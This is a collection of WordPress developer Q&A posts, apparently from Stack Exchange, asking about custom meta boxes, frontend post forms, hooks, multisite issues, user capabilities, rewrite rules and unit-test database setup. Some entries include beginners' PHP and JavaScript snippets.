title: Your ideas on my though "delete or move all of the posts in a specific category when 3 days are passed"

text: I need to clean up my database and I think that a way to do and keep it that way is by deleting all posts that have 3 days of life. One good thing is that those posts I want to delete are in a specific category. So, how can I clean up my database correctly by deleting or moving thoem and also their posts_meta or terms or anything ? I want to just have/show the posts that are 3 days or earlier.


title: Custom Meta Boxes: Store two values in one repeatable field

text:
I am trying to create a custom meta box where the user can add fields as needed. I followed this tutorial: http://wp.tutsplus.com/tutorials/reusable- custom-meta-boxes-part-1-intro-and-basic-fields/ I would like to expand on this tutorial and create a repeatable field that allows two inputs. For Example: Name and URL. How could I achieve this? I found this other question here: Create more Meta Boxes as needed I was able to integrate the meta box example into my custom post type but I couldn't figure out how to output the meta values into my theme. Here the code I am working with:                   /*---------------------------*/         /* Define Metabox Fields         /*---------------------------*/              $prefix = 'tz_';              $custom_downloads = array(              'id' => 'custom-downloads',              'title' => __('Custom Downloads Downloads (Beta)'),              'page' => 'categories-supported',              'context' => 'normal',              'priority' => 'high',              'fields' => array(                  array(                 'name' => __('Add Product Downloads', 'framework'),                 'desc' => __('This meta box is under development', 'framework'),                 'id' => $prefix . 'custom-downloads',                 'type' => 'text',                 'std' => ''             ),                                   )         );              /*-------------------------------------*/         /* Add Meta Box to CPT screen          /*-------------------------------------*/              function tz_add_box() {             global $custom_downloads;                  add_meta_box($custom_downloads['id'], $custom_downloads['title'], 'tz_show_box_custom_dwnld', $custom_downloads['page'], $custom_downloads['context'], $custom_downloads['priority']);                   }           }           add_action('admin_menu', 'tz_add_box');              /*------------------------------------------*/         /* Callback function/show fields in meta box         This is taken directly from: http://wordpress.stackexchange.com/questions/19838/create-more-meta-boxes-as-needed         /*------------------------------------------*/                   function tz_show_box_custom_dwnld() {             global $custom_downloads, $post;             // Use nonce for verification             echo '<input type="hidden" name="tz_meta_box_nonce" value="', wp_create_nonce(basename(__FILE__)), '" />';                       ?>
             <?php                  //get the saved meta as an arry             $songs = get_post_meta($post->ID,'songs',true);                  $c = 0;             if ( count( $songs ) > 0 ) {                 foreach( $songs as $track ) {                     if ( isset( $track['title'] ) || isset( $track['track'] ) ) {                         printf( '
Song Title <input type="text" name="songs[%1$s][title]" value="%2$s" /> -- Track number : <input type="text" name="songs[%1$s][track]" value="%3$s" />%4$s
', $c, $track['title'], $track['track'], __( 'Remove Track' ) );                         $c = $c +1;                     }                 }             }                  ?>                          <?php _e('Add Tracks'); ?>
             <?php              }          /*-------------------------------------*/     /* Save data when post is edited     /*-------------------------------------*/               function tz_save_data($post_id) {         global $meta_box, $meta_box_video, $meta_box_video_page, $meta_box_product_tabs, $meta_deployments, $meta_features, $meta_downloads;         // verify nonce         if (!wp_verify_nonce($_POST['tz_meta_box_nonce'], basename(__FILE__))) {             return $post_id;         }         // check autosave         if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {             return $post_id;         }         // check permissions         if ('page' == $_POST['post_type']) {             if (!current_user_can('edit_page', $post_id)) {                 return $post_id;             }         } elseif (!current_user_can('edit_post', $post_id)) {             return $post_id;         }                $songs = $_POST['songs'];         update_post_meta($post_id,'songs',$songs);               }          add_action('save_post', 'tz_save_data');      Using The above code I am able to generate the dynamic meta box on my CPT edit screen and am able to save data in the fields successfully. I'm a little embarrassed to admit it, but I don't know how to display the info from these fields in my theme. I have been able to successfully display other custom meta information stored in other fields by using               <?php $post_meta_data = get_post_custom($post->ID); ?>     <?php $custom_features = unserialize($post_meta_data['tz_features-repeat'][0]); ?>          <?php echo '
';         foreach ($custom_deployments as $string) {             echo '
'.$string.'
';         }         echo '
';     ?>      Any help would be greatly appreciated!


title: Saving frontend form data in wordpress

text:
I have front-end user form like,   * Title   * Image Upload   * Drop Down Category   * Description   * Tag Now when a user fills the form and hits the publish button from the front- end..... at the back-end a post is created with title and all the details, im able to create a post with post title and the description, but im unable to save the category, tag. and how to add category and tags to the columns ![enter image description here](http://i.stack.imgur.com/GTi7f.jpg) For image upload i searched for solutions but nothing helped, the code is               <form id="new_post"<?php do_action('post_edit_form_tag'); ?> name="new_post" method="post" action="">
Title
                         <input type="text" id="title" value="" tabindex="1" size="20" name="title" />

Parent:
                         <?php                              wp_dropdown_categories('type=product&show_count=0&selected=-1&hierarchical=1&depth=1&hide_empty=0&exclude=0&show_option_none=Select Gender&name=main_prod&taxonomy=product_cat');                         ?>

Image Upload
                         <input type="file" name="file" id="file" />

Content
                         <textarea id="description" tabindex="3" name="description" cols="50" rows="6"></textarea>

Tags:
                         <input type="text" value="" tabindex="5" size="16" name="post_tags" id="post_tags" />

<input type="submit" value="Publish" tabindex="6" id="submit" name="submit" />
                              <input type="hidden" name="action" value="new_post" />                         <?php wp_nonce_field( 'new-post' ); ?>                         </form>
                          <?php                         if( 'POST' == $_SERVER['REQUEST_METHOD'] && !empty( $_POST['action'] ) &&  $_POST['action'] == "new_post") {                                  // Do some minor form validation to make sure there is content                             if (isset ($_POST['title'])) {                                 $title =  $_POST['title'];                             } else {                                 echo 'Please enter a  title';                             }                             if (isset ($_POST['description'])) {                                 $description = $_POST['description'];                             } else {                                 echo 'Please enter the content';                             }                             $tags = $_POST['post_tags'];                                  // Add the content of the form to $post as an array                             $new_post = array(                              'post_title'    => $title,                              'post_content'  => $description,                                   'post_category' => array($_POST['cat']),  // Usable for custom taxonomies too                              'tags_input'    => array($tags),                              'post_status'   => 'publish',           // Choose: publish, preview, future, draft, etc.                              'post_type' => 'product'  //'post',page' or use a custom post type if you want to                             );                              //save the new post                             $pid = wp_insert_post($new_post);                             //insert taxonomies                         }      in functions.php /////////////////////////// file upload function ///////////////////////               add_action( 'post_edit_form_tag' , 'post_edit_form_tag' );          function post_edit_form_tag( ) {         echo ' enctype="multipart/form-data"';     }      i dont want to use any plugins, any ideas plz


title: Extract featured image from link mentioned in blog post

text: You ever notice Google News has relevant images associated with its headlines? How can I use WordPress to extract a featured image from an external webpage referenced in a blog post (or custom field)? I'm open to any suggestions. I've seen this kind of functionality on a lot of web sites. There must be a way to do this with WP.


title: How to know what functions are hooked to an action/filter?

text: Is there a way to know what functions are hooked to a particular hook? For example if I'd like to know what functions are hooked to the `wp_head` hook.


title: Database question while Migrating from one domain to another on same WebHost [Bluehost]

text: I am about to migrate WordPress Installation from One Domain to another which are under the same host and have common cpanel. Besides the first step of backing up and moving the WP filesystem, can we just use the same database without exporting/importing it via PHPmyAdmin ?


title: Sorting Posts Via Custom Taxonomy Values Using Checkboxes?

text:
I am working on a project that has a dropdown of custom taxonomy values called "Disciplines", there are only 4 of them in the dropdown. The way it has been designed is that you can select more than one discipline to filter by. The idea is you check the checkbox and it will filter the posts via the value specified in the checkbox value. My question is: what is the best way to go about this? It doesn't have to be AJAX, in-fact I would be happy for the user to check their desired values and if they don't check anything within the space of 2 seconds or so, then the page reloaded and the values they want to sort by only showed the posts matching that criteria. The problem I am facing here is where do I store these values, and how do I reload the page so it knows about these values? I'm assuming that the solution will most likely use query_var's, but not sure if there are other ways like using custom rewrite rules and rewrite tags. **This is the current code I am using to display the dropdown:**

                     <?php                     $disciplines = get_terms('discipline', array('hide_empty' => 0));                     ?>                     All Disciplines                     <?php if ($disciplines): ?>
                         <?php foreach($disciplines AS $discipline): ?>
<input type="checkbox" name="discipline[]" value="<?php echo $discipline->slug; ?>"><?php echo $discipline->name; ?>
                         <?php endforeach; ?>
                     <?php endif; ?>
      **The generated HTML output looks like this:**

                                                     All Disciplines

<input type="checkbox" name="discipline[]" value="better-living">Better Living

<input type="checkbox" name="discipline[]" value="communication">Communication

<input type="checkbox" name="discipline[]" value="design-thinking">Design Thinking

<input type="checkbox" name="discipline[]" value="fashion">Fashion

<input type="checkbox" name="discipline[]" value="public-places">Public Places


title: WordPress hosting - Shared/dedicated server? Any recommendations?

text: I'm testing out a shared hosting package with Dreamhost at the moment which is only $2.95 a month for unlimited domains, storage space, bandwidth, mysql databases etc. But I'm currently only running one test site on it and it seems pretty slow. Am I going to run into problems if I host lots of sites on a shared hosting package. Should I be looking at a dedicated server instead? iPage seem to offer a similar package but with lots of extras for $3.50 per month. Have you had any experience with either company? Any advice greatly appreciated. Thanks


title: where is the documentation for add_action() parameters?

text: I am reading the source of a plugin (gallery to slideshow plugin) to make it behave like i want and it is using an action               add_action( 'the_posts', array( &$this, 'have_gallery' ), 10, 1 );      I want to know what those extra parameters (10,1) mean but i cant find the documentation of this action. Please help


title: Is it possible to convert wordpress language files .mo to .po (and vice versa) in windows?

text: I know how to convert these files in linux, but I am using Windows 7. Is it possible to use some kind of software and convert these files?


title: Is it possible to get rid of admin new updates notifications?

text: I am doing projects for clients and sometimes an update messes a lot. So, can we leave error messages and get rid of new updates notifications in wordpress admin side? Thanks!


title: What is the best caching option for WordPress multi-site on non-shared hosting?

text: What caching plugin configuration do you recommend and why under the following assumptions:   * full control of the server configuration   * running WordPress in multi-site/multi-domain mode   * most domains are not using `www.` prefix (cookies)   * (desire) to be able to disable caching for specific IPs or based on a cookie, when you do changes to the site you don't need caching. Details: I'm using Firefox Google Page Speed plugin to try to optimize the speed of the website. Also please do not guide with generic guidelines, like smaller images. Let's be fair, using more than one caching plugin will bring you more problems than it will solve so please try to give a simple approach.


title: Insert data in database using form

text: I am writing a simple plugin that create a table with name "newsletter" in database and provide a shortcode to put a registration form in pages. the form contain "name" and "email". i have problem with inserting the form data(name+email) in database. i wrote this:               <?php     $name = $_POST['name'];     $email = $_POST['email'];     function insertuser(){     global $wpdb;     $table_name = $wpdb->prefix . "newsletter";     $wpdb->insert($table_name, array('name' => $name, 'email' => $email) );      }     ?>       but id does not work. what should i do to get data from form and insert into table?


title: $wp_query->queried_object->ID throws warning: Undefined property

text:
<?php                  $current_term = $wp_query->queried_object->name;                 $current_term_id = $wp_query->queried_object->ID;             ?>                      <hgroup class="section-heading wrapper">
<?php echo $current_term; ?>

<?php echo category_description( $current_term_id ); ?>
                 </hgroup>      This works fine but the `$current_term_id` variable throws a warning …               Notice: Undefined property: stdClass::$ID in /Users/my/htdocs/wr/wp-content/themes/wr/taxonomy-event_type.php on line 12      Any ideas what I'm doing wrong here or what's the real property for the ID of the current term?


title: In widget, the value of select field doesn't get updated, changes after saving

text: I'm building a simple widget which will allow the user to select a post among a list of posts.   For some reason, when I select an option, I believe it actually gets selected but the option doesn't remain in the select field. I think my error is at the following line but I don't manage to fix it. Maybe calling the_ID is not the way to do it...:               <option value="<? echo the_ID(); ?>" <?php selected(the_ID(), $instance['post_to_display']); ?>><?php the_title(); ?></option>      Here is my code:               class Simple_Widget extends WP_Widget{            function Simple_Widget() {         $widget_ops = array(           'classname' => 'w_reports',           'description' => __('Use this widget to add a post to the sidebar', 'theme'));         $this->WP_Widget('w_reports', __('Simple_Widget', 'roots'), $widget_ops);       }            function widget($args, $instance) {         extract( $args );         $post_to_display = $instance['post_to_display'];            }            function update($new_instance, $old_instance) {         $instance['post_to_display'] = $new_instance['post_to_display'];         return $instance;       }            function form($instance) {       ?>         <p>           <label for="<?php echo $this->get_field_id('post_to_display'); ?>">Choose a post to display:</label>            <select id="<?php echo $this->get_field_id('post_to_display'); ?>" name="<?php echo $this->get_field_name('post_to_display'); ?>" class="widefat">                <?php // My query             $the_query = new WP_Query( 'post_type=my-post' );             while ( $the_query->have_posts() ) : $the_query->the_post();           ?>           <option value="<? echo the_ID(); ?>" <?php selected(the_ID(), $instance['post_to_display']); ?>><?php the_title(); ?></option>                <?php endwhile;           wp_reset_postdata();           ?>          </select>       </p>            // Just a test           <?php echo $instance['post_to_display']; ?>      What am I doing wrong? Thanks in advance for your help!


title: What is with the one month time limit for sub directory installs for multisite network?

text: http://codex.wordpress.org/Before_You_Create_A_Network If you scroll down to the bottom you see: > You cannot choose Sub-directory Install (for a path-based network) if your > existing WordPress installation has been set up for more than a month, due > to issues with existing permalinks. (This problem will be fixed in a future > version. See Switching network types for more information.) I believe that this is causing some of the permalink issues I am facing here. But I would like to understand why there is a one month time limit and what they are doing to fix it. For instance the permalink issues I am having - I definitely notice that the newer WP installs that I have on my server are not having issues while the older ones are. What the $%%**% is happening at the one month time period that is "locking" permalinks?


title: Google Docs Viewer have problem in MultiSite sub-blogs

text: An example file: http://twentyeleven.korkmaz.biz/files/2012/09/example.docx and here is same file but direct url without ms-files.php: http://twentyeleven.korkmaz.biz/wp- content/blogs.dir/3/files/2012/09/example.docx Its same file. Just first one is getting call with ms-files.php. Problem is first file is not working in google docs viewer: http://docs.google.com/viewer?url=http://twentyeleven.korkmaz.biz/files/2012/09/example.docx giving this error: > Sorry, we are unable to generate a view of the document at this time. Please > try again later. You can also try to download the original document by > clicking here. But if i call same file with directly without ms-files.php: http://docs.google.com/viewer?url=http://twentyeleven.korkmaz.biz/wp- content/blogs.dir/3/files/2012/09/example.docx Its working! So for some reason wordpress multisite is corrupting files in sub-blogs. There is no problem in main blog because main blog's files getting direct call and not using ms-files.php So how can i fix this? If you think i cant fix it, how can i get real path url from WordPress generated /files/ url?


title: Explanation of User Roles and Capabilities

text: I'm developing a Wordpress theme. In this theme, there are a few custom post types. Custom Post Types :   * book   * article   * event We are using Wordpress' default user roles (we can create new roles, if necessary) . Contributors just post new **book** and **article** . But they can't create **event**. Also they can't see, _event_ menu item on **wp-admin** . How can i do this ? While registering new post type :               "map_meta_cap" => TRUE,     "capability_type" => "book",      And (on plugin activation)               $role = get_role( 'contributor' );           $role->add_cap( 'publish_books' );      But I think it's still not working. it's so complicated for me. I couldn't do it. I just want this roles and capabilities : ## Administrator Can see , post , publish everything ## Contributors Just can see, post to review **book** and **article** Can NOT see other post types on wp-admin menu.


title: Index in root, wordpress in subdirectory

text: Okay I've googled this for hours...I installed wordpress to a subdirectory as a content management system, but I want my main index.php along with other files to remain in the root. What .htaccess code do I need to so that the main url http://foo.com/index.php doesn't look for the wordpress/index.php (which of course causes the error "Warning: require(./wp-blog-header.php) [function.require]: failed to open stream: No such file or directory in /home/..."


title: Use ajax response in PHP function

text: Ok, so I'm working on a plugin and just ran into a problem. Here's what I'm doing:   1. Using a metabox with Plupload to upload an image to an upload dir in the plugin folder.   2. Upon upload success a script is called and the image is initialized in jCrop.   3. The cropped image is processed and saved to another dir in the plugin folder using a form with ajax.   4. Upon image processing success the filename of this new, cropped file is passed back. And here's where I'm stuck. What I want to do now is to use the filename that I passed back and use it for further processing within Wordpress. Until now everything has been handled without any WP specific code being involved. What I was thinking about now was to use `$.get` to pass the filename on to a standalone php file within the plugin folder and use `require_once('wp- load.php');` in it to be able to use Wordpress functions. But while reading up on the I came a cross multiple posts that said that you shouldn't go about that way. So basically, my question is, how do I go from here:                 jQuery.ajax({           type: "POST",           url: plugin_path + "process.php",           data: dataString,         success: function (data) {             var obj = jQuery.parseJSON(data);             if (obj.response == 'success') {                 return obj.tempfile; // PASS THIS ON FOR WP INTERACTION             } else {                 alert('sorry there was an error');             }         }     });       To here:                 $video_thumb_url = obj.tempfile; // THIS IS WRONG, BUT JUST TO PROVE POINT           $result = media_sideload_image($video_thumb_url, $post_id, 'video_thumbnail');     $attachments = get_posts(array('numberposts' => '1', 'post_parent' => $post_id, 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC'));          if(sizeof($attachments) > 0){         // set image as the post thumbnail         set_post_thumbnail($post_id, $attachments[0]->ID);     }        Thanks in advance P.S. Really had a hard time coming up with a title for this, if you know something better suited, just let me know/edit it, thanks.


title: How long should it take for a plugin to fully load into the WordPress.org plugin repository?

text: I updated my plugin, Export to Text, to 1.3 and committed it to the WordPress SVN repository yesterday. The 1.3 download button was available pretty quickly, but a day later the read me text is not rendering on the plugin page and the download update reminder is not working in the WP UI for users with earlier versions installed. How long does it typically take for plugins to be fully loaded by the WordPress.org website?


title: Validating widget's configuration data on Admin page

text: I have a simple widget that needs its width and height set by the user, so that it is displayed properly on the blog. The thing is: on the **Administrator/Appearance/Widgets** page, if the admin user puts something like "400px" on the width, it works perfectly. But what if the user puts "xxxx"? Is there any way that I can fire some javascript when the user presses the "Save" button, so as **to inform the user that the data is invalid**? I looked all around for hooks on the save button, or ways to intercept the submit, but found nothing. Am I looking at this problem from a wrong perspective? Is there a better way to do this? Thanks in advance.


title: Correct way to add a block element to sidebar layout

text: First time experimenting with wordpress and looking for advice on the correct way to add a block of html to a sidebar. This doesn't seem like a custom widget to me as there is no functionality involved, other than displaying an image. I want to position it above a sidebar menu which exists there already - instead of just lobbing the html directly into the template file, should i be doing something else with it? Thanks for any help!


title: Blubrry PowerPress vs. PodPress?

text: I'm setting up a simple WP install to host a friend's podcast, and looking into various podcasting plugins. I need something that makes it easy to upload a podcast, attach it to a post, and publish a feed I can provide to iTunes. Most of the buzz seems to indicate that PodPress and Blubrry PowerPress are the two best plugins to use for this, but I haven't found a good list of what one offers over the other. What are the strengths and weaknesses of these plugins? Are there any other great podcasting-related plugins I should be considering?


title: Changing "Enter title here" based on post format

text: I'm wondering if is possible to change the text "Enter title here" based on the post format that you selected? For example: If you select the post format **Quote** than your text will be "Enter author's quote". Is that possible?


title: Why load_textdomain work but not load_plugin_textdomain?

text: In my plugin's `init` function                   load_textdomain( 'myplugin', ABS_PATH_TO_MO_FILE ); // OK              load_plugin_textdomain( 'myplugin', false,  ABS_PATH_TO_LANGS_DIR); // No effect              echo( __('Test', 'myplugin') );      In the code above, the load_textdomain works, but not load_plugin_textdomain, any idea?


title: Firebug says jQuery is loaded but $() and jQuery() are not defined

text: I'm trying to test my wordpress page with some simple jQuery script but it won't work. I've loaded the script with `wp_enqueue_script('jquery');` in `functions.php` as explained in the wordpress guide but something's buggy. I'm testing the page using `FireBug` installed in `Firefox 4` and if I take a look to the loaded scripts list it's all ok, but it also return me the error `jQuery is not defined` too. I've followed the instructions on the `noConflict` mode but it still won't work for me:               // functions.php     <?php         function init_scripts () {             if (!is_admin()) {                 wp_enqueue_script('jquery');             }          }         add_action('init', 'init_scripts');     ?>          // header.php     <script type="text/javascript">         (function($) {             $(document).ready(function() {                 alert('hello?');             });         }(jQuery));     </script>      Where I'm wrong? I've tried this tutorial too and it's says jQuery object is not defined here:               // jquery from ajax.googleapis.com is correctly loaded     $j=jQuery.noConflict(); // firebug says jQuery is not defined by here          $j(document).ready(function(){         alert('test');     });


title: Making a wordpress page print friendly

text: I'm trying to use an existing plugin in order to make my posts print friendly. I haven't got any support from the plugin developer. I think I have narrowed down the script to the function that places the 'Print' text in the posts. Problem is that this plugin places the 'Print' button automatically. But I would like to place it in a template and prevent the automatic placement. This is the code that does the job of placing the print button. Can someone suggest a modification so that the following script 1. DOES NOT place the 'Print' button automatically. 2.What would be the function to call/place in my single.php page.               if ( !$_GET['print'] == 1  ) {         add_filter( 'the_content', 'printme_add_link' );     }          function printme_add_link( $content ) {         if ( is_singular() ) {             $printme_options = get_option( 'printme_options' );             $print_stub = $printme_options['print_text'];             }             wp_enqueue_script( 'jquery' );             wp_register_script( 'printme', plugins_url( '/printme.js', __FILE__ ), false, '1', true );             wp_enqueue_script( 'printme' );             $link = add_query_arg( 'print', '1', get_permalink() );             $content = '<a href="' . $link . '" target="_blank">' . $print_stub . ' </a>' . $content;             return $content;              }          add_action( 'template_redirect', 'printme', 5 );     function printme() {         if ( $_GET["print"] == 1 ) {             include( plugin_dir_path(__FILE__) . 'print.php' );             exit();         }     }


title: Sorting main query by custom taxonomy slug

text: Is there a way to sort posts by custom taxonomy (shoe_color) ASC|DESC? I would like to do this using `query_posts` and passing the `orderby=shoe_color` into it. Here is the code I'm trying to work out:               function shoe_color_orderby( $wp_query ) {         global $wpdb;         return "(             SELECT GROUP_CONCAT(slug ORDER BY slug ASC)             FROM $wpdb->term_relationships             INNER JOIN $wpdb->term_taxonomy USING (term_taxonomy_id)             INNER JOIN $wpdb->terms USING (term_id)             WHERE $wpdb->posts.ID = object_id             AND taxonomy = 'shoe_color'             GROUP BY object_id         ) ";     }     add_filter( 'posts_orderby', 'shoe_color_orderby');


title: Switch theme if ie compatibility/quirks mode?

text: How could you detect a browser is using ie quirks/compatibilty mode and then switch themes if detected? I've developed a nice new "responsive" theme for wordpress. It works great on mobiles & in all the browsers I've tested - firefox, chrome, even ie 6, 7, 8 & 9. The only issue arises when using the compatibility mode in internet explorer - the site becomes "unresponsive" (divs & images not scaling properly). For the moment I have disabled the compatibiltiy view completely with:               <meta http-equiv="X-UA-Compatible" content="IE=Edge" >       So a couple of questions:   * Should I expect responsive themes to work properly in ie compatibility mode?   * How can I change to a different theme if compatibilty mode is selected? Thanks


title: How can I debug my database connection for unit testing?

text:
I've set up a wordpress environment on my Mac with MAMP and I'm running 3.5.1 locally (i.e. `http://localhost:8888/blog` works). I'm trying to run the unit test suit from wordpress.org and having trouble connecting to the database.               $svn co https://unit-tests.svn.wordpress.org/trunk wordpress-tests     $cd wordpress-tests     $cp wp-tests-config-sample.php wp-tests-config.php      edit `wp-test-config.php` for my setup               $ cat wp-tests-config.php     <?php          /* Path to the WordPress codebase you'd like to test. Add a backslash in the end. */     define( 'ABSPATH', '/Applications/MAMP/htdocs/blog/' );          // Test with multisite enabled: (previously -m)     // define( 'WP_TESTS_MULTISITE', true );          // Force known bugs: (previously -f)     // define( 'WP_TESTS_FORCE_KNOWN_BUGS', true );          // Test with WordPress debug mode on (previously -d)     // define( 'WP_DEBUG', true );          // ** MySQL settings ** //          // This configuration file will be used by the copy of WordPress being tested.     // wordpress/wp-config.php will be ignored.          // WARNING WARNING WARNING!     // These tests will DROP ALL TABLES in the database with the prefix named below.     // DO NOT use a production database or one that is shared with something else.          define( 'DB_NAME', 'wordpress' );     define( 'DB_USER', 'root' );     define( 'DB_PASSWORD', 'root' );     define( 'DB_HOST', 'localhost:8889' );     define( 'DB_CHARSET', 'utf8' );     define( 'DB_COLLATE', '' );          $table_prefix  = 'wp_';   // Only numbers, letters, and underscores please!          define( 'WP_TESTS_DOMAIN', 'example.org' );     define( 'WP_TESTS_EMAIL', 'admin@example.org' );     define( 'WP_TESTS_TITLE', 'Test Blog' );          define( 'WP_PHP_BINARY', 'php' );          define( 'WPLANG', '' );      But, when I try to run the test suite, I `phpunit` can't connect to the database:               $phpunit     ...
Error establishing a database connection

This either means that the username and password information in your wp-config.php file is incorrect or we can't contact the database server at localhost:8889. This could mean your host's database server is down.
     ...      Can anyone help debug this issue? ** EDIT ** After adding `wp-content/db-error.php` as described below. I'm getting the following error:               $ phpunit     PHP Warning:  mysql_error() expects parameter 1 to be resource, boolean given in /Users/spinlock/WordPress/wordpress-3.5.1/wp-includes/wp-db.php on line 1023     WordPress database error  for query  made by require_once('/Users/spinlock/WordPress/wordpress-3.5.1/wp-settings.php'), wp_set_wpdb_vars, dead_db, require_once('/Users/spinlock/WordPress/wordpress-3.5.1/wp-content/db-error.php')     Running as single site... To run multisite, use -c multisite.xml     PHP Warning:  mysql_error() expects parameter 1 to be resource, boolean given in /Users/spinlock/WordPress/wordpress-3.5.1/wp-includes/wp-db.php on line 1023     WordPress database error  for query  made by PHPUnit_TextUI_Command::main, PHPUnit_TextUI_Command->run, PHPUnit_TextUI_Command->handleArguments, PHPUnit_TextUI_Command->handleBootstrap, PHPUnit_Util_Fileloader::checkAndLoad, PHPUnit_Util_Fileloader::load, include_once('/Users/spinlock/WordPress/wordpress-tests/includes/bootstrap.php'), require_once('/Users/spinlock/WordPress/wordpress-3.5.1/wp-settings.php'), wp_set_wpdb_vars, dead_db, require_once('/Users/spinlock/WordPress/wordpress-3.5.1/wp-content/db-error.php')      wp-db.php line 1023 is the implementation of `print_error()` and it's choking here:               1019   function print_error( $str = '' ) {     1020     global $EZSQL_ERROR;     1021     1022     if ( !$str )     1023       $str = mysql_error( $this->dbh );     1024     $EZSQL_ERROR[] = array( 'query' => $this->last_query, 'error_str' => $str );     1025      **Solution** Ok, I finally got this working by changing `DB_HOST` to `localhost:/Applications/MAMP/tmp/mysql/mysql.sock`. And the tests are running:               $ phpunit     Installing...     Running as single site... To run multisite, use -c multisite.xml     Not running ajax tests... To execute these, use --group ajax.     PHPUnit 3.7.19 by Sebastian Bergmann.          Configuration read from /Users/spinlock/WordPress/wordpress-tests/phpunit.xml.dist          .............FFF................PHP Fatal error:  Call to undefined function wp_unslash() in /Users/spinlock/WordPress/wordpress-tests/tests/attachment/slashes.php on line 45          Fatal error: Call to undefined function wp_unslash() in /Users/spinlock/WordPress/wordpress-tests/tests/attachment/slashes.php on line 45


title: Per Page Permalink Structure for Page Post Type

text: I am trying to Re-Write Page URL's so that they END with `.htm` I was able to do this using...               /* Add .htm extension to Page URL Links */     add_action('init', 'htm_page_permalink', -1);     function htm_page_permalink() {         global $wp_rewrite;         if ( !strpos($wp_rewrite->get_page_permastruct(), '.htm')){             $wp_rewrite->page_structure = $wp_rewrite->page_structure . '.htm';         }     }          /* Remove the trailing slash/ on Pages */     add_filter('user_trailingslashit', 'no_page_slash',66,2);     function no_page_slash($string, $type){         global $wp_rewrite;         if ($wp_rewrite->using_permalinks() && $wp_rewrite->use_trailing_slashes==true && $type == 'page'){             return untrailingslashit($string);         }else{             return $string;         }     }      But then I ran into a problem where I am using my `Blog` post list on a Page named `Blog`. I need this page to **NOT** end with `.htm` So I then used this code to change the Page Links to filter out the `.htm` on my `blog` page...               /* Filter .htm out of Blog Page Links */     function blog_page_url($content) {         $current_path = '/blog.htm';         $new_path = '/blog/';         $content = str_replace($current_path, $new_path, $content);         return $content;     }     add_filter('_get_page_link', 'blog_page_url');      And I used this Re-write rule to make `/blog/` load the `Blog Page` ...               /* Setup Custom Re-write for the Blog Page */     add_action( 'init', 'blog_page_rewrite' );     function blog_page_rewrite(){         add_rewrite_rule('blog', 'index.php?pagename=blog','top' );         //add_rewrite_rule('blog/(.*?)/', 'index.php?p=$matches[1]','top' );     }      But now I have the problme that any URL with the `/blog/` in it is showing the `Blog page`. This means my actual blog post which are set up in WP Permalink settings like this... `/blog/%postname%/` are not working, instead they always show the `Blog page` which list all the blog posts. In my `blog_page_rewrite()` function above you can see I had tested an extra re-write rule to hopefully work with the Blog posts but it had no affect.


title: Plugin scans for images in post_content, how about "featured image"?

text:
I use WordPress SEO by Yoast, especially for the Google News sitemap feature. My theme is coded in such a way that the main image of a post is also the featured image of the point (i.e. the same image, but a different size, is shown for post thumbnails). That's the design decision I had to make (for various reasons I can say here). * * * In case it helps, the code looks like this:

<?php the_post_thumbnail( 'full' ); ?>
         <?php the_content( __( 'Continue reading →', 'reddle' ) ); ?>         <?php wp_link_pages( array( 'before' => '
' . __( 'Pages:', 'reddle' ), 'after' => '
' ) ); ?>
      * * * Here's the problem: The plugin scans for images in `post_content` i.e. for it to reference the images of a post in the sitemap, the images should be in `post_content` field for that post in the database. And since that's not how featured images work, the main image of my post is not referenced in the sitemap. Now, the question is -- is there a way around? I don't want to edit the plugin (unless there's no other way). Is there a way for me to get the featured image into `post_content` as it is shown in the code? (i.e. like `<p style="text- align: center;"><img src="FEATURED IMAGE LINK" /></p>`)


title: Get image URL from media library in input

text: On `wp-admin/post.php?post=447&action=edit` for example I have a link and an input. The link appears as follows:               gallery      When I click the link the media library opens, and i'd like the URL of the inserted image to populate an input field, eg.               <input type="text" name="tj_image_url" id="tj_image_url" value="VALUEHERE" size="30" />      How can I do this?


title: Problems with explode

text: I have a text box in the admin area for entering the names of categories. Right now, this is what is in it events homepage Just like that above. Two categories separated by a space. So now I am trying to get the categories from the database and that is done this way. (I am using SMOF framework)                echo $data['exclude_categories'];      If I do the above, it will echo out                events homepage      So then I am trying to get a - sign and a comma placed between each category like so                //looping through my key to get the values      $string = explode(" ", $data['exclude_categories'] );      foreach($string as $cat) {           //concatenating my values into one string      $string .= '-' .$cat.",";      }      echo $data['exclude_categories']; //for testing purposes      //trimming the trailing comma from the string      $string = substr($string, 0, -1); // Delete the last character      My problem is that I get this "Array-events,-homepage" and I don't know why the Array is there


title: mysql query from wordpress page using custom table

text: I want to a mysql query that matches a page title. Not sure of a better way to accomplish this task, but I am stuck. This is my basic test code.               <?php     $page_title = wp_title('');     echo $page_title;     $test = $wpdb->get_results("SELECT * FROM $wpdb->park_data WHERE park_name = '"$page_title"' ") or die(mysql_error());       $row = mysql_fetch_array($test);     echo $row['park_name'];     ?>      I keep getting a error on the query. If I just echo wp_title('');, no problem, prints. Can anyone see what I am doing wrong?


title: Any plugins that upload, resize, and display images?

text: Here is an ideal workflow for my situation:   1. Upload a folder full of images   2. Resize images according to a specified size   3. Have the ability to organize these images into folders (collection1, collection2, etc)   4. Display the images within these folders in a non-flash gallery (collection1 on page 1, collection2 on page 2, etc) Is there any plugin that will help this process from start to finish, or set of plugins that play nicely together? It's important that these galleries work on non-flash-supported devices, as mobile and tablet traffic will be significant. Paid is fine for a good quality plugin. Thanks.


title: Edit page header on a custom plugin

text: I am writing a custom plugin for Wordpress but how in the world do I edit the page header? I need to add some javascript and related codes there.


title: get_pages and get_posts returning different data?

text: this is driving me crazy... I have an admin plugin page that lists pages for a wordpress website. I'm trying to list all the pages using get_pages() but for some reason once pages are published they don't show up anymore - when I use get_posts they show up, but the new draft pages don't :( Here is the code.. please help               //this only displays the new draft pages - once published pages don't show up here     $args = array('post_status' => 'draft, publish');     $pages = get_pages($args);                                                        foreach ( $pages as $page ) { some html code that displays the page title }          //this piece of code will return all pages onces they were published,      //even if 'unpublished' later - but will not return new draft pages     global $post;     $args2 = array( 'numberposts' => 50, 'post_status' => 'publish, draft');     $myposts = get_posts( $args2 );     foreach( $myposts as $post ) {         setup_postdata($post);          ... some HTML code to display the pages     }      what's going on?


title: 302 on Wordpress Multi site installation on subdomain

text: I have a Multi Site installation on www.example.com, which is working fine. Afterwards I've made an exact copy of this installation and placed it on a subdomain of this site: subdomain.example.com. The top level domain still works fine. But the Multi Site installation on the subdomain keeps redirecting (302) me to my toplevel domain. And I just can't find out where this redirect could be. What should I do?


title: Using TinyMce with textareas in meta boxes on custom post types

